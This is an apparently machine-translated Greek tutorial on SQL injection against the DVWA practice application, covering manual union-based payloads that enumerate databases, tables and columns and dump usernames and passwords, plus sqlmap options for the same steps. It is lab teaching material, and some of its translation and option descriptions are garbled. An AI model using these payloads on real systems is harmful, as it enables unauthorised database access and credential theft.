Κοινή χρήση τεχνολογίας

[Test Development]--Security Penetration Testing

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

1. Διείσδυση ασφαλείας

1.1 Ταξινόμηση

  • ασφάλεια βάσεων δεδομένων ιστού
  • Ασφάλεια διακομιστή εφαρμογών Ιστού (ευπάθεια μεταφόρτωσης αρχείων, ευπάθεια συμπερίληψης αρχείων)
  • Ασφάλεια προγράμματος-πελάτη Ιστού (Επίθεση μεταξύ ιστοτόπων XSS)

2. sql injection

2.1 Εισαγωγή στην sql injection

  • Η ένεση SQL βρίσκεται στην κορυφή της λίστας ζητημάτων ασφαλείας
  • Η επίθεση έγχυσης SQL είναι ότι οι παράμετροι εισόδου δεν φιλτράρονται και στη συνέχεια ενώνονται απευθείας στη δήλωση SQL για ανάλυση.
  • Η έγχυση SQL είναι μια τεχνική επίθεσης που προσθέτει κώδικα SQL στις παραμέτρους εισόδου και τον περνά στον διακομιστή για ανάλυση και εκτέλεση.

2.2 Αρχή έγχυσης SQL

  • Ο εισβολέας υποβάλλει κακόβουλους χαρακτήρες στη σελίδα
  • Ο διακομιστής δεν φιλτράρει τις υποβληθείσες παραμέτρους ή το φιλτράρισμα είναι ανεπαρκές.
  • Οι εισβολείς χρησιμοποιούν εντολές sql για να αποκτήσουν ευαίσθητες πληροφορίες από τη βάση δεδομένων

2.3 Κίνδυνοι από την έγχυση sql

  • Διαρροή βάσης δεδομένων
  • Τα δεδομένα χρήστη αγοράστηκαν και πουλήθηκαν παράνομα
  • Διακυβεύεται η ασφάλεια εφαρμογών ιστού

2.4 Μέθοδος υλοποίησης SQL injection

  • Εγχειρίδιο
    • Εύρεση: σημείο έγχυσης
    • Εισαγωγή: SQL κοινή σύνταξη συνδυασμού ένεσης για ένεση
  • αυτόματο (εργαλείο)
    • Εργαλείο: Σάρωση για σημεία ένεσης
    • Είσοδος: Δοκιμάστε αυτόματα διάφορους συνδυασμούς σύνταξης

3.Ρύθμιση περιβάλλοντος

3.1 vmware εικονική μηχανή

3.1.1 Λειτουργία

  • Λογισμικό εικονικής μηχανής, μπορείτε να χρησιμοποιήσετε λογισμικό για να εγκαταστήσετε πολλαπλά εικονικά λειτουργικά συστήματα (Linux, windows) σε φυσικές μηχανές
  • Στοχεύστε drones και διεισδυτικά που εκτελούνται με λογισμικό VMware
    Εκμάθηση λήψης VMware

3.2 Στόχευση drone (εκμάθηση χρήσης του περιβάλλοντος έργου)

αποτέλεσμα

  • Ένα σύστημα εικονικής μηχανής Linux Ορισμένες εφαρμογές Ιστού με γνωστά τρωτά σημεία είναι εγκατεστημένες σε αυτήν την εικονική μηχανή για να διευκολύνουν την εκμάθηση.
  • Οδηγός εγκατάστασης drone στόχου OWASP

3.3 Μηχάνημα διείσδυσης (εκμάθηση επίθεσης σε περιβάλλον injection sql)

αποτέλεσμα:

  • Το Kali περιέχει εκατοντάδες εργαλεία που μπορούν να χρησιμοποιηθούν για διάφορες εργασίες ασφάλειας πληροφοριών, όπως δοκιμές διείσδυσης, έρευνα ασφάλειας

4. Χειροκίνητη ένεση

4.1 Προετοιμασία περιβάλλοντος

Περιγραφή: Εξασκηθείτε στη χειροκίνητη έγχυση μέσω της διαδικτυακής εφαρμογής drone
βήμα:

  • Έναρξη στόχου drone OWASP
    Εισαγάγετε την περιγραφή της εικόνας εδώ

  • Πρόσβαση στο drone μέσω προγράμματος περιήγησης

  • Επισκεφτείτε το έργο OWASP-dvwa
    Εισαγάγετε την περιγραφή της εικόνας εδώ

  • Σύνδεση
    Εισαγάγετε την περιγραφή της εικόνας εδώ

  • Επιλέξτε εφαρμογή sql injection
    Εισαγάγετε την περιγραφή της εικόνας εδώ

4.2 Βρείτε το σημείο της ένεσης

Σημείωση: Χρησιμοποιήστε κυρίως μεμονωμένα εισαγωγικά και χαρακτήρες διαφυγής, κυρίως μεμονωμένα εισαγωγικά
αρχή:

#后台程序sql语句
select first_name,last_name from users where user_id = '$id';
#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id = ''';
  • 1
  • 2
  • 3
  • 4

Εισαγάγετε την περιγραφή της εικόνας εδώ

Εισαγάγετε την περιγραφή της εικόνας εδώ

4.3 Λογικό Ή

Εισαγάγετε την περιγραφή της εικόνας εδώ

4.4 Μαντέψτε τον αριθμό των στηλών

  1. από το σωματείο
' union select 1,2 #
  • 1

Εισαγάγετε την περιγραφή της εικόνας εδώ
2. Κατά λογική Ή

'or 1=1#
  • 1

Εισαγάγετε την περιγραφή της εικόνας εδώ

4.5 Λάβετε βάσεις δεδομένων, πίνακες και στήλες

Λήψη ονόματος βάσης δεδομένων

' union select 1,database()#
  • 1

Εισαγάγετε την περιγραφή της εικόνας εδώ
Πάρε τραπέζι

' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
  • 1

Εισαγάγετε την περιγραφή της εικόνας εδώ

Λήψη στήλης

' union select column_name,1 from information_schema.columns where table_name='users' #
  • 1

Εισαγάγετε την περιγραφή της εικόνας εδώ

4.6 Λήψη δεδομένων

//1. 获取单个字段数据
' union select user,1 from users#

//2. 获取两个字段
' union select user,password from users#
  • 1
  • 2
  • 3
  • 4
  • 5

Εισαγάγετε την περιγραφή της εικόνας εδώ

4.7 συνάρτηση concat

Λειτουργία: Συνδέστε πολλές χορδές σε μία συμβολοσειρά
Σύνταξη: concat(str1,str2,…)
Παράδειγμα:

  • Λάβετε user_id, user, password από τον πίνακα χρηστών και εμφανίστε τα σε δύο στήλες
select user_id,concat (user,password) from dvwa,users;
  • 1

Εισαγάγετε την περιγραφή της εικόνας εδώ

  • Λύστε το πρόβλημα της σύνδεσης χρήστη και κωδικού πρόσβασης
select user_id,concat('user:',user,' password:',password) from dvwa.users;
  • 1

Εισαγάγετε την περιγραφή της εικόνας εδώ

  • Λάβετε πολλά πεδία
' union select user,concat(first_name,' ',last_name,' ',password) from users#
  • 1

Εισαγάγετε την περιγραφή της εικόνας εδώ

5. Αυτόματη έγχυση

5.1 Εισαγωγή στην αυτόματη έγχυση

Σημείωση: Η αυτόματη έγχυση αναφέρεται στη χρήση εργαλείων αντί για χειρωνακτική εργασία για την ολοκλήρωση των λειτουργιών έγχυσης sql.
Εργαλείο: sqlmap

5.2 Αυτόματη έγχυση στο περιβάλλον

  • Ξεκινήστε το drone
  • Θέστε σε λειτουργία τη μηχανή διείσδυσης

5.3 sqlmap

Εργαλείο: sqlmap

  • Ένα εργαλείο δοκιμής διείσδυσης ανοιχτού κώδικα
  • Αυτόματος εντοπισμός και εκμετάλλευση τρωτών σημείων έγχυσης SQL και ανάληψη διακομιστών βάσεων δεδομένων
    Χτίζω:

5.3.1 Βασική χρήση του sqlmap

παράμετρος

  • -u: Σάρωση διεύθυνσης URL προορισμού
  • – παρτίδα: Αυτόματη επεξεργασία πληροφοριών προτροπής
  • –cookie: πρόσθετες παράμετροι cookie

βήμα

  • Σάρωση σημείου έγχυσης
  • Λήψη ονόματος βάσης δεδομένων
  • Λάβετε το όνομα του πίνακα
  • Λήψη ονόματος πεδίου
  • ανάκτηση δεδομένων

Εφόσον πρέπει να συνδεθούμε, λαμβάνουμε πρώτα το cookie της συνδεδεμένης σελίδας
Εισαγάγετε την περιγραφή της εικόνας εδώ
Στη συνέχεια ξεκινήστε τη σάρωση του σημείου έγχυσης
Εισαγάγετε την περιγραφή της εικόνας εδώ
Επιτυχής ένεση
Εισαγάγετε την περιγραφή της εικόνας εδώ

5.3.2 sqlmap παίρνει το όνομα της βιβλιοθήκης

– current-db: Ερώτημα για το όνομα της βάσης δεδομένων που χρησιμοποιείται από τον τρέχοντα ιστό
-D: Εφαρμογή της καθορισμένης βάσης δεδομένων
Εισαγάγετε την περιγραφή της εικόνας εδώ
αποτέλεσμα λειτουργίας:
Εισαγάγετε την περιγραφή της εικόνας εδώ

5.3.3 sqlmap παίρνει πίνακα

– current-db: Ερώτημα όλων των ονομάτων πινάκων κάτω από την καθορισμένη βιβλιοθήκη (πρέπει να χρησιμοποιήσετε -D για να καθορίσετε πρώτα το όνομα της βιβλιοθήκης)
-T: Καθορίστε τον πίνακα
Εισαγάγετε την περιγραφή της εικόνας εδώ

αποτέλεσμα λειτουργίας:
Εισαγάγετε την περιγραφή της εικόνας εδώ

5.3.4 sqlmap παίρνει στήλες

– στήλες: Ερώτημα για όλα τα πεδία κάτω από τον καθορισμένο πίνακα (πρέπει να χρησιμοποιήσετε -T για να καθορίσετε πρώτα το όνομα του πίνακα)
-C: Καθορίστε το όνομα του πεδίου

Εισαγάγετε την περιγραφή της εικόνας εδώ
αποτέλεσμα λειτουργίας:
Εισαγάγετε την περιγραφή της εικόνας εδώ

5.3.5 sqlmap λαμβάνει δεδομένα

–dump: λήψη δεδομένων

Εισαγάγετε την περιγραφή της εικόνας εδώ
αποτέλεσμα λειτουργίας:
Εισαγάγετε την περιγραφή της εικόνας εδώ